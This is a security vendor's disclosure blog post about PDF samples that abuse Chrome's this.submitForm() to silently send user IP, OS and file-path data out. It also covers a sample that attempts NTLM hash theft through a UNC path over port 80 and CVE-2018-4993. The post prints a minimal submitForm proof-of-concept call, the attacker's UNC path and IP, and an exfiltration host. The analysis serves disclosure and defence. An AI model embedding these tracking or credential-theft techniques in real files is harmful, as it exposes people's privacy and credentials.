EdgeSpot detects PDF samples tracking users who use Google Chrome as local PDF viewerEdgeSpot detects PDF samples tracking users who use Google Chrome as local PDF viewer
Summary
Since late December 2018, EdgeSpot has detected multiple PDF samples in the wild which exploit a Google Chrome zero-day unpatched flaw. The exploited vulnerability allows the sender of the PDF files to track the users and collect some user’s information when they use Google Chrome as a local PDF viewer.
Details
Since late last December, some interesting PDF samples were found by our engine. These samples acted as “no problem” when opened in popular Adobe Reader, however, they made suspicious outbound traffic when they’re opened locally on Google Chrome.
While we have detected a number of such samples, we use a typical one as an example as we’re examining the details (we will list the samples we detected at the end of this blog post). The sample is:
- https://www.virustotal.com/#/file/2dd6ade4d0d4dc8224b28f8819b1c49bb7ae4025933e737ac8069c496d88bb43/detection (First submission 2017-10-01, filename: “honduras-bginfo.pdf”)
Our engine detects the sample(s) as “POTENTIAL ZERO-DAY ATTACK (Google Chrome), PERSONAL INFORMATION LEAKAGE”, as shown in the following image.
Note: Our description of the threat may change from time to time, for example, when a patch is released and the threat assigned a CVE ID is no longer “zero-day”, description will be updated accordingly.
When the sample is opened in Google Chrome from our local disk, the content is shown below:
By capturing traffic in the background, we observed that some outbound traffic has been made, and data was sent to the domain “readnotify.com” while there’s no user interaction, in other words, the data was sent out silently without the user’s approval.
The traffic is a HTTP POST packet, as shown in the following Wireshark window.
The PDF was “phoning home” in the background when the user was viewing it.
According to the HTTP packet, following information of the user may be collected by the malicious sender:
- The public IP address of the user.
- OS, Chrome version etc (in HTTP POST header).
- The full path of the PDF file on user’s computer (in HTTP POST payload).
Recently, we’ve experienced some other PDF “phoning home” zero-day issues, including the one we discovered and disclosed in last November (as an ITW zero-day attack), and the very recent one discovered by @insertScript (our engine was able to detect this threat in advance). Unlike previous finds, this new sample has some differences:
- This one affects Google Chrome (as local PDF viewer), not Adobe Reader.
- This one does not allow NTLM stealing, but it leaks your OS information and the path of the file stored on your local disk.
We analysed the sample(s), and found there is some suspicious Javascript code in stream-1.
After deobfuscated the code, we found the root is the “this.submitForm()” PDF Javascript API.
We tested it with a minimal PoC, a simple API call like “this.submitForm(‘http://google.com/test’)” will make Google Chrome send the personal information to google.com.
We filed a report to Google as soon as we confirmed it is a zero-day unpatched issue, following is the timeline.
2018.12.26 Finding reported to Google
2019.02.12 More samples were detected during the period
2019.02.14 After multiple communications with the Chrome team, we were informed the issue will be landed on official Chrome in late April. Chrome team were informed about this blog post release
2019.02.26 Blog post released*
*We decided to release our finding prior to the patch because we think it’s better to give the affected users a chance to be informed/alerted of the potential risk, since the active exploits/samples are in the wild while the patch is not near away.
As a temporary “workaround”, we suggest concerned users using alternative PDF reader application for viewing received PDF documents locally until Chrome fixes the issue, or disconnect computer from the Internet when open PDF documents in Chrome.
After we reported the first sample to Google, we kept finding more and more samples related to this vulnerability. In total, we’ve found two categories of such samples so far. The first category is that samples with the similar in-the-wild filenames sent data to the domain “readnotify.com” and all appeared on VT on 2017-10-01, which makes us believe they were from the same source. They are:
- https://www.virustotal.com/#/file/2dd6ade4d0d4dc8224b28f8819b1c49bb7ae4025933e737ac8069c496d88bb43/detection
- https://www.virustotal.com/#/file/286ed6d0261aed1115e06e2e8cf0af840297241e9dc9494a496a2c8b75457749/detection
- https://www.virustotal.com/#/file/a21a4fcc75cd20a0965f1673b98c0dd688711c40cbabf92a5e5cd1f31a7ac684/detection
- https://www.virustotal.com/#/file/1d151793f521419c1470079a37b1e37b8b59a5b69a5506f1d0dbee6f3995b25d/detection
- https://www.virustotal.com/#/file/0c3e8efd667f7ff1549bfd2a4498105cb2607314d73b7105f4c1d747d7341090/detection
- https://www.virustotal.com/#/file/fb56efe75f3b4509d5a2e0655536d9dab121798d92b8660121bd4691265a87e3/detection
- https://www.virustotal.com/#/file/622624d6f161b7d2fa7859d46792dd6bb49024b432b04106b1818510a2037689/detection
The second category is one sample which appeared on VT on 2018-09-26 collects the personal information and sends it to “http://zuxjk0dftoamimorjl9dfhr44vap3fr7ovgi76w.burpcollaborator.net”.
Conclusion
This kind of “info leak” threat (privacy issue) is not easy to detect especially when specific application (in this case, Google Chrome) is affected, however, our engine looks into samples much deeper with our innovative “file structure -oriented analysis” approach, and we can find the suspicious patterns and detect samples more precisely. So, when you encounter any suspicious samples or doubt if they are advanced attacks, try edgespot.io and see what it detects!
Follow us @EdgeSpot_io
[Update on Feb. 28]
After our original post on Tuesday, it seems that there’re some misunderstandings in media reports about this case. We wanted to clarify that 1) The issue/bug described here does NOT allow remote code execute, nor it allows to steal arbitrary data from the user. 2) the issue/bug only affects users who use Chrome as local PDF viewer (for those who concern about their privacy). If you use Chrome for Internet browsing (not for local PDF viewer), there’s really nothing to worry about.
We used the term “zero-day” simply based on we found the abused issue/bug works on latest Chrome, not mean it’s a critical remote code execution issue.
[Update on Feb. 28]
We’re reporting another sample (the third category) which is related to this unpatched Chrome issue/bug. Compared to the previous two categories which may be legitimate usages, this one is more likely to be involved in malicious activities.
The sample is:
- https://www.virustotal.com/#/file/19ac1c943d8d9e7b71404b29ac15f37cd230a463003445b47441dc443d616afd/detection (First submission 2018-05-04, VT detection: 7/58, in-the-wild filename: “minimal.pdf”, “BAK_Lindenhofer.pdf”)
The content looks like the following:
This single PDF sample took 3 stages to do bad things, in above image, we highlighted the 3 blocks for these 3 stages (from top to bottom).
- The block-1 shows an obfuscated Javascript stream using octal encoding. After decoding (via “alert()”), the plain Javascript code is:
As we have analysed previously, the root of this unpatched Chrome issue (or bug) is about the “this.submitForm()” API. Since the decoded Javascript is calling this API, apparently, the actor is trying to track the user (if the user uses Chrome to open the PDF from local disk).
- For block-2, the URI: \\\\[email protected]\\mf1ob8k1b5x2ykne8ep1wswtrlmjaz\\mPbjEw8CoTTrJug3RvLyDXxwMwWr1tZz.txt The interesting point is that the block-2 seems to using the “@80” to make the outbound traffic goes through TCP 80. Different than the traditional way of stealing NTLM hashes going through SMB ports and those ports are usually blocked by Firewalls, this method allows the attacker to bypass the Firewall. We also saw that, unlike the previous ones, when connected to the server on port 80, the server (52.210.81.127) responded with a ‘WWW-Authenticate: Basic realm=”Authentication Required”’ in the HTTP response header – to our knowledge, this is usually used to start a web-based authentication process, which more or less indicates that the actor is trying to steal something.
We should note our readers that the theory we wrote here for this block-2 is not confirmed. We have tested the block-2 with Adobe Reader, Chrome, and Edge, it seems they do not support such way of remote access via port 80. A possibility is that the actor was trying to attack some PDF reader application that we didn’t test, or such attacking attempt works under certain conditions. We will update here if we find anything new.
- The block-3 is a traditional method of exploiting the Adobe Reader vulnerability CVE-2018-4993, trying to steal user’s NTLM credential through SMB ports.
As of writing, the actor’s server at 52.210.81.127 is still active, both TCP 80 and 445 are open. You may want to block this IP address for your organization.
As a wrap-up for this analysis, this interesting PDF sample uses multiple (three) methods for tracking users and/or stealing users’ (NTLM) credentials. It uses the unpatched Chrome issue/bug to track the user if the PDF is opened in Chrome (block-1), it also uses the vulnerability CVE-2018-4993 with an effort to steal user’s NTLM hash if the PDF is opened in affected Adobe Reader (that’s block-3), for block-2, it leaves us an interesting mystery.